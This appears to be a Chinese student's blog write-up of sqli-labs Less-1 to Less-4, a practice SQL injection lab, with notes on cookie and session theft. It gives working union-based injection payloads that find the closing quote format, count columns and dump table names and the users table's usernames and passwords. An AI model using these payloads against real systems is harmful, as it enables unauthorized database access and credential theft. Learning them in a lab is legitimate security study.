sqli-labs Less1-4 新手修仙版

今天学习的是sql的靶场

题外话:(没必要看,仅自己记录一下)

1.XXS: 跨站脚本攻击

2.cookie & session:

通俗理解:Session 是服务器端的「用户档案袋」,里面记着用户的详细登录信息、权限等;Cookie 是浏览器端的「档案袋编号」,每次请求都带上编号,服务器根据编号找到对应的档案袋,确认用户身份。

XSS 窃取的 Cookie,核心就是这个「档案袋编号(SessionID)」------ 拿到编号,就能冒充用户从服务器调取档案袋。

Less -4 靶场(我愿称之为通用靶场):

猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema='xxxxx'

猜某表的所有列

Select column_name from information_schema.columns where table_name='xxxxx'

获取某列的内容

Select *** from ****

L ess -1

注入核心逻辑:闭合原有引号→注释多余字符→拼接自定义 SQL→联合查询获取数据

http://sqli-labs:8989/Less-1/

  • 注入类型判断

?id=1'

报错原因:SELECT * FROM 表名 WHERE id='1'' LIMIT 0,1; 单引号不匹配

结论:单引号字符型注入

  • ?id=1' or 1=1 --+ 恒为真(为什么会造成注入:Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 'or 1=1--+,直接构造的 sql 语句就是真的)

  • 判断查询字段数(order by 排序列数)

?id=1' or 1=1 order by 3 --+ order by 排序,判断列数

  • 查询数据库名

?id=-1' union select 1,database(),3--+

  • 查询数据库中的表名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(table_name),3

from information_schema.tables

where table_schema=database()--+

关键参数:table_schema=database() 限定为当前数据库;group_concat 拼接所有表名(避免分页)

  • 查询users表的所有字段名

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(column_name),3

from information_schema.columns

where table_schema=database() and table_name='users'--+

  • 查询users表的所有账号密码(最终脱库)

http://sqli-labs:8989/Less-1/

?id=-1' union select 1,group_concat(username,':',password),3

from users--+

补充:

  1. 联合查询要求:前后查询字段数必须一致,需先用order by判断字段数
  2. 系统库information_schema是 SQL 注入脱库的核心,需熟记 3 个核心表:
  • tables:存储所有数据库的表信息
  • columns:存储所有表的字段信息
  • schema_name:存储所有数据库名

L ess -2 :(数字型注入)

  • 传入单引号测试:?id=1',页面报错(但报错原因和 Less-1 不同)
  • 传入数字逻辑测试:?id=1 and 1=2 → 页面无数据;?id=1 and 1=1 → 页面正常
  • 后续同Less-1

结论:数字型注入(后台 SQL 语句无引号包裹id参数,id直接作为数字参与查询)

Less-3 :(单引号 + 括号)

  • 核心特征:单引号 + 括号双重包裹参数,注入时必须同时闭合'),少一个都会报错
  • 闭合测试技巧:若单引号'报错,尝试')、")、))等组合,能让页面恢复正常的就是正确闭合方式
  • 联合查询的核心流程(判字段数→控显位→查库 / 表 / 字段 / 数据)在 Less-1/2/3 中完全通用,仅闭合格式不同
  • 后续同Less-1

报错信息是判断闭合方式的关键,需重点关注报错中「语法错误的位置」(如near ''1')' LIMIT 0,1'直接提示括号 + 单引号)

L ess -4:( 双引号 + 括号 )

  • 先试单引号测试:?id=1' → 页面无报错(和 Less-1/3 不同,排除单引号包裹)
  • 试双引号测试:?id=1" → 页面报错(关键特征)
  • 测试闭合方式:?id=1") --+ → 页面恢复正常
  • 后续同Less-1

结论:双引号 + 括号包裹的字符型注入(后台用("$id")包裹参数,需闭合双引号 + 括号)

总体小结:

快速判断闭合方式(通用方法)

如果不确定参数的包裹方式,按以下顺序测试,能让页面恢复正常的就是正确格式:

无引号(数字型):id=1 --+

单引号:id=1' --+

单引号 + 括号:id=1') --+

双引号:id=1" --+

双引号 + 括号:id=1") --+

相关推荐
意法半导体STM322 小时前
【官方原创】如何基于DevelopPackage开启安全启动(MP15x) LAT6036
javascript·stm32·单片机·嵌入式硬件·mcu·安全·stm32开发
是三好2 小时前
MySQL
数据库·mysql·oracle
147API2 小时前
Prompt Injection 怎么防:攻击面与工程防线(含安全 Checklist)
网络·安全·prompt
悟能不能悟2 小时前
SimpleDateFormat 为什么线程不安全
开发语言·安全
砚边数影2 小时前
线性回归实战(一):房价预测数据集入库KingbaseES,表结构设计
java·数据库·人工智能·深度学习·机器学习·线性回归·金仓数据库
未来之窗软件服务2 小时前
服务器运维(二十五)终端安全证书管控与Nginx HTTPS 部署—东方仙盟练气期
运维·服务器·安全·仙盟创梦ide·东方仙盟
数据知道2 小时前
PostgreSQL 实战:数组的增删改查与索引优化详解
数据库·postgresql
OceanBase数据库官方博客2 小时前
深度解读 OceanBase 多模一体化能力
数据库·ai·oceanbase·分布式数据库
会飞的灰大狼2 小时前
MySQL增量备份实战指南
数据库·mysql